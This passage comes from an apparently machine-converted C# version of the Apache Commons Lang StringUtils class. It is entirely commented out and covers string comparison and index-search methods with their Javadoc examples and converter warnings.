&gt; 0 // /// StringUtils.compare("abc", "abc") = 0 // /// StringUtils.compare("a", "b") &lt; 0 // /// StringUtils.compare("b", "a") &gt; 0 // /// StringUtils.compare("a", "B") &gt; 0 // /// StringUtils.compare("ab", "abc") &lt; 0 // /// </pre> // /// </summary> // /// <seealso cref= #compare(String, String, boolean) </seealso> // /// <seealso cref= String#compareTo(String) </seealso> // /// <param name="str1"> the String to compare from </param> // /// <param name="str2"> the String to compare to </param> // /// <returns> &lt; 0, 0, &gt; 0, if {@code str1} is respectively less, equal ou greater than {@code str2} // /// @since 3.5 </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static int compare(final String str1, final String str2) // public static int compare(string str1, string str2) // { // return compare(str1, str2, true); // } // /// <summary> // /// <para>Compare two Strings lexicographically, as per <seealso cref="String#compareTo(String)"/>, returning :</para> // /// <ul> // /// <li>{@code int = 0}, if {@code str1} is equal to {@code str2} (or both {@code null})</li> // /// <li>{@code int < 0}, if {@code str1} is less than {@code str2}</li> // /// <li>{@code int > 0}, if {@code str1} is greater than {@code str2}</li> // /// </ul> // /// // /// <para>This is a {@code null} safe version of :</para> // /// <blockquote><pre>str1.compareTo(str2)</pre></blockquote> // /// // /// <para>{@code null} inputs are handled according to the {@code nullIsLess} parameter. // /// Two {@code null} references are considered equal.</para> // /// // /// <pre> // /// StringUtils.compare(null, null, *) = 0 // /// StringUtils.compare(null , "a", true) &lt; 0 // /// StringUtils.compare(null , "a", false) &gt; 0 // /// StringUtils.compare("a", null, true) &gt; 0 // /// StringUtils.compare("a", null, false) &lt; 0 // /// StringUtils.compare("abc", "abc", *) = 0 // /// StringUtils.compare("a", "b", *) &lt; 0 // /// StringUtils.compare("b", "a", *) &gt; 0 // /// StringUtils.compare("a", "B", *) &gt; 0 // /// StringUtils.compare("ab", "abc", *) &lt; 0 // /// </pre> // /// </summary> // /// <seealso cref= String#compareTo(String) </seealso> // /// <param name="str1"> the String to compare from </param> // /// <param name="str2"> the String to compare to </param> // /// <param name="nullIsLess"> whether consider {@code null} value less than non-{@code null} value </param> // /// <returns> &lt; 0, 0, &gt; 0, if {@code str1} is respectively less, equal ou greater than {@code str2} // /// @since 3.5 </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static int compare(final String str1, final String str2, final boolean nullIsLess) // public static int compare(string str1, string str2, bool nullIsLess) // { // if (string.ReferenceEquals(str1, str2)) // { // return 0; // } // if (string.ReferenceEquals(str1, null)) // { // return nullIsLess ? -1 : 1; // } // if (string.ReferenceEquals(str2, null)) // { // return nullIsLess ? 1 : -1; // } // return str1.CompareTo(str2); // } // /// <summary> // /// <para>Compare two Strings lexicographically, ignoring case differences, // /// as per <seealso cref="String#compareToIgnoreCase(String)"/>, returning :</para> // /// <ul> // /// <li>{@code int = 0}, if {@code str1} is equal to {@code str2} (or both {@code null})</li> // /// <li>{@code int < 0}, if {@code str1} is less than {@code str2}</li> // /// <li>{@code int > 0}, if {@code str1} is greater than {@code str2}</li> // /// </ul> // /// // /// <para>This is a {@code null} safe version of :</para> // /// <blockquote><pre>str1.compareToIgnoreCase(str2)</pre></blockquote> // /// // /// <para>{@code null} value is considered less than non-{@code null} value. // /// Two {@code null} references are considered equal. // /// Comparison is case insensitive.</para> // /// // /// <pre> // /// StringUtils.compareIgnoreCase(null, null) = 0 // /// StringUtils.compareIgnoreCase(null , "a") &lt; 0 // /// StringUtils.compareIgnoreCase("a", null) &gt; 0 // /// StringUtils.compareIgnoreCase("abc", "abc") = 0 // /// StringUtils.compareIgnoreCase("abc", "ABC") = 0 // /// StringUtils.compareIgnoreCase("a", "b") &lt; 0 // /// StringUtils.compareIgnoreCase("b", "a") &gt; 0 // /// StringUtils.compareIgnoreCase("a", "B") &lt; 0 // /// StringUtils.compareIgnoreCase("A", "b") &lt; 0 // /// StringUtils.compareIgnoreCase("ab", "ABC") &lt; 0 // /// </pre> // /// </summary> // /// <seealso cref= #compareIgnoreCase(String, String, boolean) </seealso> // /// <seealso cref= String#compareToIgnoreCase(String) </seealso> // /// <param name="str1"> the String to compare from </param> // /// <param name="str2"> the String to compare to </param> // /// <returns> &lt; 0, 0, &gt; 0, if {@code str1} is respectively less, equal ou greater than {@code str2}, // /// ignoring case differences. // /// @since 3.5 </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static int compareIgnoreCase(final String str1, final String str2) // public static int compareIgnoreCase(string str1, string str2) // { // return compareIgnoreCase(str1, str2, true); // } // /// <summary> // /// <para>Compare two Strings lexicographically, ignoring case differences, // /// as per <seealso cref="String#compareToIgnoreCase(String)"/>, returning :</para> // /// <ul> // /// <li>{@code int = 0}, if {@code str1} is equal to {@code str2} (or both {@code null})</li> // /// <li>{@code int < 0}, if {@code str1} is less than {@code str2}</li> // /// <li>{@code int > 0}, if {@code str1} is greater than {@code str2}</li> // /// </ul> // /// // /// <para>This is a {@code null} safe version of :</para> // /// <blockquote><pre>str1.compareToIgnoreCase(str2)</pre></blockquote> // /// // /// <para>{@code null} inputs are handled according to the {@code nullIsLess} parameter. // /// Two {@code null} references are considered equal. // /// Comparison is case insensitive.</para> // /// // /// <pre> // /// StringUtils.compareIgnoreCase(null, null, *) = 0 // /// StringUtils.compareIgnoreCase(null , "a", true) &lt; 0 // /// StringUtils.compareIgnoreCase(null , "a", false) &gt; 0 // /// StringUtils.compareIgnoreCase("a", null, true) &gt; 0 // /// StringUtils.compareIgnoreCase("a", null, false) &lt; 0 // /// StringUtils.compareIgnoreCase("abc", "abc", *) = 0 // /// StringUtils.compareIgnoreCase("abc", "ABC", *) = 0 // /// StringUtils.compareIgnoreCase("a", "b", *) &lt; 0 // /// StringUtils.compareIgnoreCase("b", "a", *) &gt; 0 // /// StringUtils.compareIgnoreCase("a", "B", *) &lt; 0 // /// StringUtils.compareIgnoreCase("A", "b", *) &lt; 0 // /// StringUtils.compareIgnoreCase("ab", "abc", *) &lt; 0 // /// </pre> // /// </summary> // /// <seealso cref= String#compareToIgnoreCase(String) </seealso> // /// <param name="str1"> the String to compare from </param> // /// <param name="str2"> the String to compare to </param> // /// <param name="nullIsLess"> whether consider {@code null} value less than non-{@code null} value </param> // /// <returns> &lt; 0, 0, &gt; 0, if {@code str1} is respectively less, equal ou greater than {@code str2}, // /// ignoring case differences. // /// @since 3.5 </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static int compareIgnoreCase(final String str1, final String str2, final boolean nullIsLess) // public static int compareIgnoreCase(string str1, string str2, bool nullIsLess) // { // if (string.ReferenceEquals(str1, str2)) // { // return 0; // } // if (string.ReferenceEquals(str1, null)) // { // return nullIsLess ? -1 : 1; // } // if (string.ReferenceEquals(str2, null)) // { // return nullIsLess ? 1 : -1; // } // return str1.compareToIgnoreCase(str2); // } // /// <summary> // /// <para>Compares given <code>string</code> to a CharSequences vararg of <code>searchStrings</code>, // /// returning {@code true} if the <code>string</code> is equal to any of the <code>searchStrings</code>.</para> // /// // /// <pre> // /// StringUtils.equalsAny(null, (CharSequence[]) null) = false // /// StringUtils.equalsAny(null, null, null) = true // /// StringUtils.equalsAny(null, "abc", "def") = false // /// StringUtils.equalsAny("abc", null, "def") = false // /// StringUtils.equalsAny("abc", "abc", "def") = true // /// StringUtils.equalsAny("abc", "ABC", "DEF") = false // /// </pre> // /// </summary> // /// <param name="string"> to compare, may be {@code null}. </param> // /// <param name="searchStrings"> a vararg of strings, may be {@code null}. </param> // /// <returns> {@code true} if the string is equal (case-sensitive) to any other element of <code>searchStrings</code>; // /// {@code false} if <code>searchStrings</code> is null or contains no matches. // /// @since 3.5 </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static boolean equalsAny(final CharSequence string, final CharSequence... searchStrings) // public static bool equalsAny(CharSequence @string, params CharSequence[] searchStrings) // { // if (ArrayUtils.isNotEmpty(searchStrings)) // { // foreach (CharSequence next in searchStrings) // { // if (Equals(@string, next)) // { // return true; // } // } // } // return false; // } // /// <summary> // /// <para>Compares given <code>string</code> to a CharSequences vararg of <code>searchStrings</code>, // /// returning {@code true} if the <code>string</code> is equal to any of the <code>searchStrings</code>, ignoring case.</para> // /// // /// <pre> // /// StringUtils.equalsAnyIgnoreCase(null, (CharSequence[]) null) = false // /// StringUtils.equalsAnyIgnoreCase(null, null, null) = true // /// StringUtils.equalsAnyIgnoreCase(null, "abc", "def") = false // /// StringUtils.equalsAnyIgnoreCase("abc", null, "def") = false // /// StringUtils.equalsAnyIgnoreCase("abc", "abc", "def") = true // /// StringUtils.equalsAnyIgnoreCase("abc", "ABC", "DEF") = true // /// </pre> // /// </summary> // /// <param name="string"> to compare, may be {@code null}. </param> // /// <param name="searchStrings"> a vararg of strings, may be {@code null}. </param> // /// <returns> {@code true} if the string is equal (case-insensitive) to any other element of <code>searchStrings</code>; // /// {@code false} if <code>searchStrings</code> is null or contains no matches. // /// @since 3.5 </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static boolean equalsAnyIgnoreCase(final CharSequence string, final CharSequence...searchStrings) // public static bool equalsAnyIgnoreCase(CharSequence @string, params CharSequence[] searchStrings) // { // if (ArrayUtils.isNotEmpty(searchStrings)) // { // foreach (CharSequence next in searchStrings) // { // if (equalsIgnoreCase(@string, next)) // { // return true; // } // } // } // return false; // } // // IndexOf // //----------------------------------------------------------------------- // /// <summary> // /// <para>Finds the first index within a CharSequence, handling {@code null}. // /// This method uses <seealso cref="String#indexOf(int, int)"/> if possible.</para> // /// // /// <para>A {@code null} or empty ("") CharSequence will return {@code INDEX_NOT_FOUND (-1)}.</para> // /// // /// <pre> // /// StringUtils.indexOf(null, *) = -1 // /// StringUtils.indexOf("", *) = -1 // /// StringUtils.indexOf("aabaabaa", 'a') = 0 // /// StringUtils.indexOf("aabaabaa", 'b') = 2 // /// </pre> // /// </summary> // /// <param name="seq"> the CharSequence to check, may be null </param> // /// <param name="searchChar"> the character to find </param> // /// <returns> the first index of the search character, // /// -1 if no match or {@code null} string input // /// @since 2.0 // /// @since 3.0 Changed signature from indexOf(String, int) to indexOf(CharSequence, int) </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static int indexOf(final CharSequence seq, final int searchChar) // public static int indexOf(CharSequence seq, int searchChar) // { // if (isEmpty(seq)) // { // return INDEX_NOT_FOUND; // } // return CharSequenceUtils.IndexOf(seq, searchChar, 0); // } // /// <summary> // /// <para>Finds the first index within a CharSequence from a start position, // /// handling {@code null}. // /// This method uses <seealso cref="String#indexOf(int, int)"/> if possible.</para> // /// // /// <para>A {@code null} or empty ("") CharSequence will return {@code (INDEX_NOT_FOUND) -1}. // /// A negative start position is treated as zero. // /// A start position greater than the string length returns {@code -1}.</para> // /// // /// <pre> // /// StringUtils.indexOf(null, *, *) = -1 // /// StringUtils.indexOf("", *, *) = -1 // /// StringUtils.indexOf("aabaabaa", 'b', 0) = 2 // /// StringUtils.indexOf("aabaabaa", 'b', 3) = 5 // /// StringUtils.indexOf("aabaabaa", 'b', 9) = -1 // /// StringUtils.indexOf("aabaabaa", 'b', -1) = 2 // /// </pre> // /// </summary> // /// <param name="seq"> the CharSequence to check, may be null </param> // /// <param name="searchChar"> the character to find </param> // /// <param name="startPos"> the start position, negative treated as zero </param> // /// <returns> the first index of the search character (always &ge; startPos), // /// -1 if no match or {@code null} string input // /// @since 2.0 // /// @since 3.0 Changed signature from indexOf(String, int, int) to indexOf(CharSequence, int, int) </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static int indexOf(final CharSequence seq, final int searchChar, final int startPos) // public static int indexOf(CharSequence seq, int searchChar, int startPos) // { // if (isEmpty(seq)) // { // return INDEX_NOT_FOUND; // } // return CharSequenceUtils.IndexOf(seq, searchChar, startPos); // } // /// <summary> // /// <para>Finds the first index within a CharSequence, handling {@code null}. // /// This method uses <seealso cref="String#indexOf(String, int)"/> if possible.</para> // /// // /// <para>A {@code null} CharSequence will return {@code -1}.</para> // /// // /// <pre> // /// StringUtils.indexOf(null, *) = -1 // /// StringUtils.indexOf(*, null) = -1 // /// StringUtils.indexOf("", "") = 0 // /// StringUtils.indexOf("", *) = -1 (except when * = "") // /// StringUtils.indexOf("aabaabaa", "a") = 0 // /// StringUtils.indexOf("aabaabaa", "b") = 2 // /// StringUtils.indexOf("aabaabaa", "ab") = 1 // /// StringUtils.indexOf("aabaabaa", "") = 0 // /// </pre> // /// </summary> // /// <param name="seq"> the CharSequence to check, may be null </param> // /// <param name="searchSeq"> the CharSequence to find, may be null </param> // /// <returns> the first index of the search CharSequence, // /// -1 if no match or {@code null} string input // /// @since 2.0 // /// @since 3.0 Changed signature from indexOf(String, String) to indexOf(CharSequence, CharSequence) </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static int indexOf(final CharSequence seq, final CharSequence searchSeq) // public static int indexOf(CharSequence seq, CharSequence searchSeq) // { // if (seq == null || searchSeq == null) // { // return INDEX_NOT_FOUND; // } // return CharSequenceUtils.IndexOf(seq, searchSeq, 0); // } // /// <summary> // /// <para>Finds the first index within a CharSequence, handling {@code null}. // /// This method uses <seealso cref="String#indexOf(String, int)"/> if possible.</para> // /// // /// <para>A {@code null} CharSequence will return {@code -1}. // /// A negative start position is treated as zero. // /// An empty ("") search CharSequence always matches. // /// A start position greater than the string length only matches // /// an empty search CharSequence.</para> // /// // /// <pre> // /// StringUtils.indexOf(null, *, *) = -1 // /// StringUtils.indexOf(*, null, *) = -1 // /// StringUtils.indexOf("", "", 0) = 0 // /// StringUtils.indexOf("", *, 0) = -1 (except when * = "") // /// StringUtils.indexOf("aabaabaa", "a", 0) = 0 // /// StringUtils.indexOf("aabaabaa", "b", 0) = 2 // /// StringUtils.indexOf("aabaabaa", "ab", 0) = 1 // /// StringUtils.indexOf("aabaabaa", "b", 3) = 5 // /// StringUtils.indexOf("aabaabaa", "b", 9) = -1 // /// StringUtils.indexOf("aabaabaa", "b", -1) = 2 // /// StringUtils.indexOf("aabaabaa", "", 2) = 2 // /// StringUtils.indexOf("abc", "", 9) = 3 // /// </pre> // /// </summary> // /// <param name="seq"> the CharSequence to check, may be null </param> // /// <param name="searchSeq"> the CharSequence to find, may be null </param> // /// <param name="startPos"> the start position, negative treated as zero </param> // /// <returns> the first index of the search CharSequence (always &ge; startPos), // /// -1 if no match or {@code null} string input // /// @since 2.0 // /// @since 3.0 Changed signature from indexOf(String, String, int) to indexOf(CharSequence, CharSequence, int) </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static int indexOf(final CharSequence seq, final CharSequence searchSeq, final int startPos) // public static int indexOf(CharSequence seq, CharSequence searchSeq, int startPos) // { // if (seq == null || searchSeq == null) // { // return INDEX_NOT_FOUND; // } // return CharSequenceUtils.IndexOf(seq, searchSeq, startPos); // } // /// <summary> // /// <para>Finds the n-th index within a CharSequence, handling {@code null}. // /// This method uses <seealso cref="String#indexOf(String)"/> if possible.</para> // /// <para><b>Note:</b> The code starts looking for a match at the start of the target, // /// incrementing the starting index by one after each successful match // /// (unless {@code searchStr} is an empty string in which case the position // /// is never incremented and {@code 0} is returned immediately). // /// This means that matches may overlap.</para> // /// <para>A {@code null} CharSequence will return {@code -1}.</para> // /// // /// <pre> // /// StringUtils.ordinalIndexOf(null, *, *) = -1 // /// StringUtils.ordinalIndexOf(*, null, *) = -1 // /// StringUtils.ordinalIndexOf("", "", *) = 0 // /// StringUtils.ordinalIndexOf("aabaabaa", "a", 1) = 0 // /// StringUtils.ordinalIndexOf("aabaabaa", "a", 2) = 1 // /// StringUtils.ordinalIndexOf("aabaabaa", "b", 1) = 2 // /// StringUtils.ordinalIndexOf("aabaabaa", "b", 2) = 5 // /// StringUtils.ordinalIndexOf("aabaabaa", "ab", 1) = 1 // /// StringUtils.ordinalIndexOf("aabaabaa", "ab", 2) = 4 // /// StringUtils.ordinalIndexOf("aabaabaa", "", 1) = 0 // /// StringUtils.ordinalIndexOf("aabaabaa", "", 2) = 0 // /// </pre> // /// // /// <para>Matches may overlap:</para> // /// <pre> // /// StringUtils.ordinalIndexOf("ababab","aba", 1) = 0 // /// StringUtils.ordinalIndexOf("ababab","aba", 2) = 2 // /// StringUtils.ordinalIndexOf("ababab","aba", 3) = -1 // /// // /// StringUtils.ordinalIndexOf("abababab", "abab", 1) = 0 // /// StringUtils.ordinalIndexOf("abababab", "abab", 2) = 2 // /// StringUtils.ordinalIndexOf("abababab", "abab", 3) = 4 // /// StringUtils.ordinalIndexOf("abababab", "abab", 4) = -1 // /// </pre> // /// // /// <para>Note that 'head(CharSequence str, int n)' may be implemented as: </para> // /// // /// <pre> // /// str.substring(0, lastOrdinalIndexOf(str, "\n", n)) // /// </pre> // /// </summary> // /// <param name="str"> the CharSequence to check, may be null </param> // /// <param name="searchStr"> the CharSequence to find, may be null </param> // /// <param name="ordinal"> the n-th {@code searchStr} to find </param> // /// <returns> the n-th index of the search CharSequence, // /// {@code -1} ({@code INDEX_NOT_FOUND}) if no match or {@code null} string input // /// @since 2.1 // /// @since 3.0 Changed signature from ordinalIndexOf(String, String, int) to ordinalIndexOf(CharSequence, CharSequence, int) </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static int ordinalIndexOf(final CharSequence str, final CharSequence searchStr, final int ordinal) // public static int ordinalIndexOf(CharSequence str, CharSequence searchStr, int ordinal) // { // return ordinalIndexOf(str, searchStr, ordinal, false); // } // /// <summary> // /// <para>Finds the n-th index within a String, handling {@code null}. // /// This method uses <seealso cref="String#indexOf(String)"/> if possible.</para> // /// <para>Note that matches may overlap<p> // /// // /// </para> // /// <para>A {@code null} CharSequence will return {@code -1}.</para> // /// </summary> // /// <param name="str"> the CharSequence to check, may be null </param> // /// <param name="searchStr"> the CharSequence to find, may be null </param> // /// <param name="ordinal"> the n-th {@code searchStr} to find, overlapping matches are allowed. </param> // /// <param name="lastIndex"> true if lastOrdinalIndexOf() otherwise false if ordinalIndexOf() </param> // /// <returns> the n-th index of the search CharSequence, // /// {@code -1} ({@code INDEX_NOT_FOUND}) if no match or {@code null} string input </returns> // // Shared code between ordinalIndexOf(String,String,int) and lastOrdinalIndexOf(String,String,int) // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: private static int ordinalIndexOf(final CharSequence str, final CharSequence searchStr, final int ordinal, final boolean lastIndex) // private static int ordinalIndexOf(CharSequence str, CharSequence searchStr, int ordinal, bool lastIndex) // { // if (str == null || searchStr == null || ordinal <= 0) // { // return INDEX_NOT_FOUND; // } // if (searchStr.length() == 0) // { // return lastIndex ? str.length() : 0; // } // int found = 0; // // set the initial index beyond the end of the string // // this is to allow for the initial index decrement/increment // int index = lastIndex ? str.length() : INDEX_NOT_FOUND; // do // { // if (lastIndex) // { // index = CharSequenceUtils.LastIndexOf(str, searchStr, index - 1); // step backwards thru string // } // else // { // index = CharSequenceUtils.IndexOf(str, searchStr, index + 1); // step forwards through string // } // if (index < 0) // { // return index; // } // found++; // } while (found < ordinal); // return index; // } // /// <summary> // /// <para>Case in-sensitive find of the first index within a CharSequence.</para> // /// // /// <para>A {@code null} CharSequence will return {@code -1}. // /// A negative start position is treated as zero. // /// An empty ("") search CharSequence always matches. // /// A start position greater than the string length only matches // /// an empty search CharSequence.</para> // /// // /// <pre> // /// StringUtils.indexOfIgnoreCase(null, *) = -1 // /// StringUtils.indexOfIgnoreCase(*, null) = -1 // /// StringUtils.indexOfIgnoreCase("", "") = 0 // /// StringUtils.indexOfIgnoreCase("aabaabaa", "a") = 0 // /// StringUtils.indexOfIgnoreCase("aabaabaa", "b") = 2 // /// StringUtils.indexOfIgnoreCase("aabaabaa", "ab") = 1 // /// </pre> // /// </summary> // /// <param name="str"> the CharSequence to check, may be null </param> // /// <param name="searchStr"> the CharSequence to find, may be null </param> // /// <returns> the first index of the search CharSequence, // /// -1 if no match or {@code null} string input // /// @since 2.5 // /// @since 3.0 Changed signature from indexOfIgnoreCase(String, String) to indexOfIgnoreCase(CharSequence, CharSequence) </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static int indexOfIgnoreCase(final CharSequence str, final CharSequence searchStr) // public static int indexOfIgnoreCase(CharSequence str, CharSequence searchStr) // { // return indexOfIgnoreCase(str, searchStr, 0); // } // /// <summary> // /// <para>Case in-sensitive find of the first index within a CharSequence // /// from the specified position.</para> // /// // /// <para>A {@code null} CharSequence will return {@code -1}. // /// A negative start position is treated as zero. // /// An empty ("") search CharSequence always matches. // /// A start position greater than the string length only matches // /// an empty search CharSequence.</para> // /// // /// <pre> // /// StringUtils.indexOfIgnoreCase(null, *, *) = -1 // /// StringUtils.indexOfIgnoreCase(*, null, *) = -1 // /// StringUtils.indexOfIgnoreCase("", "", 0) = 0 // /// StringUtils.indexOfIgnoreCase("aabaabaa", "A", 0) = 0 // /// StringUtils.indexOfIgnoreCase("aabaabaa", "B", 0) = 2 // /// StringUtils.indexOfIgnoreCase("aabaabaa", "AB", 0) = 1 // /// StringUtils.indexOfIgnoreCase("aabaabaa", "B", 3) = 5 // /// StringUtils.indexOfIgnoreCase("aabaabaa", "B", 9) = -1 // /// StringUtils.indexOfIgnoreCase("aabaabaa", "B", -1) = 2 // /// StringUtils.indexOfIgnoreCase("aabaabaa", "", 2) = 2 // /// StringUtils.indexOfIgnoreCase("abc", "", 9) = -1 // /// </pre> // /// </summary> // /// <param name="str"> the CharSequence to check, may be null </param> // /// <param name="searchStr"> the CharSequence to find, may be null </param> // /// <param name="startPos"> the start position, negative treated as zero </param> // /// <returns> the first index of the search CharSequence (always &ge; startPos), // /// -1 if no match or {@code null} string input // /// @since 2.5 // /// @since 3.0 Changed signature from indexOfIgnoreCase(String, String, int) to indexOfIgnoreCase(CharSequence, CharSequence, int) </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static int indexOfIgnoreCase(final CharSequence str, final CharSequence searchStr, int startPos) // public static int indexOfIgnoreCase(CharSequence str, CharSequence searchStr, int startPos) // { // if (str == null || searchStr == null) // { // return INDEX_NOT_FOUND; // } // if (startPos < 0) // { // startPos = 0; // } // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int endLimit = str.length() - searchStr.length() + 1; // int endLimit = str.length() - searchStr.length() + 1; // if (startPos > endLimit) // { // return INDEX_NOT_FOUND; // } // if (searchStr.length() == 0) // { // return startPos; // } // for (int i = startPos; i < endLimit; i++) // { // if (CharSequenceUtils.regionMatches(str, true, i, searchStr, 0, searchStr.length())) // { // return i; // } // } // return INDEX_NOT_FOUND; // } // // LastIndexOf // //----------------------------------------------------------------------- // /// <summary> // /// <para>Finds the last index within a CharSequence, handling {@code null}. // /// This method uses <seealso cref="String#lastIndexOf(int)"/> if possible.</para> // /// // /// <para>A {@code null} or empty ("") CharSequence will return {@code -1}.</para> // /// // /// <pre> // /// StringUtils.lastIndexOf(null, *) = -1 // /// StringUtils.lastIndexOf("", *) = -1 // /// StringUtils.lastIndexOf("aabaabaa", 'a') = 7 // /// StringUtils.lastIndexOf("aabaabaa", 'b') = 5 // /// </pre> // /// </summary> // /// <param name="seq"> the CharSequence to check, may be null </param> // /// <param name="searchChar"> the character to find </param> // /// <returns> the last index of the search character, // /// -1 if no match or {@code null} string input // /// @since 2.0 // /// @since 3.0 Changed signature from lastIndexOf(String, int) to lastIndexOf(CharSequence, int) </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static int lastIndexOf(final CharSequence seq, final int searchChar) // public static int lastIndexOf(CharSequence seq, int searchChar) // { // if (isEmpty(seq)) // { // return INDEX_NOT_FOUND; // } // return CharSequenceUtils.LastIndexOf(seq, searchChar, seq.length()); // } // /// <summary> // /// <para>Finds the last index within a CharSequence from a start position, // /// handling {@code null}. // /// This method uses <seealso cref="String#lastIndexOf(int, int)"/> if possible.</para> // /// // /// <para>A {@code null} or empty ("") CharSequence will return {@code -1}. // /// A negative start position returns {@code -1}. // /// A start position greater than the string length searches the whole string. // /// The search starts at the startPos and works backwards; matches starting after the start // /// position are ignored. // /// </para> // /// // /// <pre> // /// StringUtils.lastIndexOf(null, *, *) = -1 // /// StringUtils.lastIndexOf("", *, *) = -1 // /// StringUtils.lastIndexOf("aabaabaa", 'b', 8) = 5 // /// StringUtils.lastIndexOf("aabaabaa", 'b', 4) = 2 // /// StringUtils.lastIndexOf("aabaabaa", 'b', 0) = -1 // /// StringUtils.lastIndexOf("aabaabaa", 'b', 9) = 5 // /// StringUtils.lastIndexOf("aabaabaa", 'b', -1) = -1 // /// StringUtils.lastIndexOf("aabaabaa", 'a', 0) = 0 // /// </pre> // /// </summary> // /// <param name="seq"> the CharSequence to check, may be null </param> // /// <param name="searchChar"> the character to find </param> // /// <param name="startPos"> the start position </param> // /// <returns> the last index of the search character (always &le; startPos), // /// -1 if no match or {@code null} string input // /// @since 2.0 // /// @since 3.0 Changed signature from lastIndexOf(String, int, int) to lastIndexOf(CharSequence, int, int) </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static int lastIndexOf(final CharSequence seq, final int searchChar, final int startPos) // public static int lastIndexOf(CharSequence seq, int searchChar, int startPos) // { // if (isEmpty(seq)) // { // return INDEX_NOT_FOUND; // } // return CharSequenceUtils.LastIndexOf(seq, searchChar, startPos); // } // /// <summary> // /// <para>Finds the last index within a CharSequence, handling {@code null}. // /// This method uses <seealso cref="String#lastIndexOf(String)"/> if possible.</para> // /// // /// <para>A {@code null} CharSequence will return {@code -1}.</para> // /// // /// <pre> // /// StringUtils.lastIndexOf(null, *) = -1 // /// StringUtils.lastIndexOf(*, null) = -1 // /// StringUtils.lastIndexOf("", "") = 0 // /// StringUtils.lastIndexOf("aabaabaa", "a") = 7 // /// StringUtils.lastIndexOf("aabaabaa", "b") = 5 // /// StringUtils.lastIndexOf("aabaabaa", "ab") = 4 // /// StringUtils.lastIndexOf("aabaabaa", "") = 8 // /// </pre> // /// </summary> // /// <param name="seq"> the CharSequence to check, may be null </param> // /// <param name="searchSeq"> the CharSequence to find, may be null </param> // /// <returns> the last index of the search String, // /// -1 if no match or {@code null} string input // /// @since 2.0 // /// @since 3.0 Changed signature from lastIndexOf(String, String) to lastIndexOf(CharSequence, CharSequence) </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static int lastIndexOf(final CharSequence seq, final CharSequence searchSeq) // public static int lastIndexOf(CharSequence seq, CharSequence searchSeq) // { // if (seq == null || searchSeq == null) // { // return INDEX_NOT_FOUND; // } // return CharSequenceUtils.LastIndexOf(seq, searchSeq, seq.length()); // } // /// <summary> // /// <para>Finds the n-th last index within a String, handling {@code null}. // /// This method uses <seealso cref="String#lastIndexOf(String)"/>.</para> // /// // /// <para>A {@code null} String will return {@code -1}.</para> // /// // /// <pre> // /// StringUtils.lastOrdinalIndexOf(null, *, *) = -1 // /// StringUtils.lastOrdinalIndexOf(*, null, *) = -1 // /// StringUtils.lastOrdinalIndexOf("", "", *) = 0 // /// StringUtils.lastOrdinalIndexOf("aabaabaa", "a", 1) = 7 // /// StringUtils.lastOrdinalIndexOf("aabaabaa", "a", 2) = 6 // /// StringUtils.lastOrdinalIndexOf("aabaabaa", "b", 1) = 5 // /// StringUtils.lastOrdinalIndexOf("aabaabaa", "b", 2) = 2 // /// StringUtils.lastOrdinalIndexOf("aabaabaa", "ab", 1) = 4 // /// StringUtils.lastOrdinalIndexOf("aabaabaa", "ab", 2) = 1 // /// StringUtils.lastOrdinalIndexOf("aabaabaa", "", 1) = 8 // /// StringUtils.lastOrdinalIndexOf("aabaabaa", "", 2) = 8 // /// </pre> // /// // /// <para>Note that 'tail(CharSequence str, int n)' may be implemented as: </para> // /// // /// <pre> // /// str.substring(lastOrdinalIndexOf(str, "\n", n) + 1) // /// </pre> // /// </summary> // /// <param name="str"> the CharSequence to check, may be null </param> // /// <param name="searchStr"> the CharSequence to find, may be null </param> // /// <param name="ordinal"> the n-th last {@code searchStr} to find </param> // /// <returns> the n-th last index of the search CharSequence, // /// {@code -1} ({@code INDEX_NOT_FOUND}) if no match or {@code null} string input // /// @since 2.5 // /// @since 3.0 Changed signature from lastOrdinalIndexOf(String, String, int) to lastOrdinalIndexOf(CharSequence, CharSequence, int) </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static int lastOrdinalIndexOf(final CharSequence str, final CharSequence searchStr, final int ordinal) // public static int lastOrdinalIndexOf(CharSequence str, CharSequence searchStr, int ordinal) // { // return ordinalIndexOf(str, searchStr, ordinal, true); // } // /// <summary> // /// <para>Finds the last index within a CharSequence, handling {@code null}. // /// This method uses <seealso cref="String#lastIndexOf(String, int)"/> if possible.</para> // /// // /// <para>A {@code null} CharSequence will return {@code -1}. // /// A negative start position returns {@code -1}. // /// An empty ("") search CharSequence always matches unless the start position is negative. // /// A start position greater than the string length searches the whole string. // /// The search starts at the startPos and works backwards; matches starting after the start // /// position are ignored. // /// </para> // /// // /// <pre> // /// StringUtils.lastIndexOf(null, *, *) = -1 // /// StringUtils.lastIndexOf(*, null, *) = -1 // /// StringUtils.lastIndexOf("aabaabaa", "a", 8) = 7 // /// StringUtils.lastIndexOf("aabaabaa", 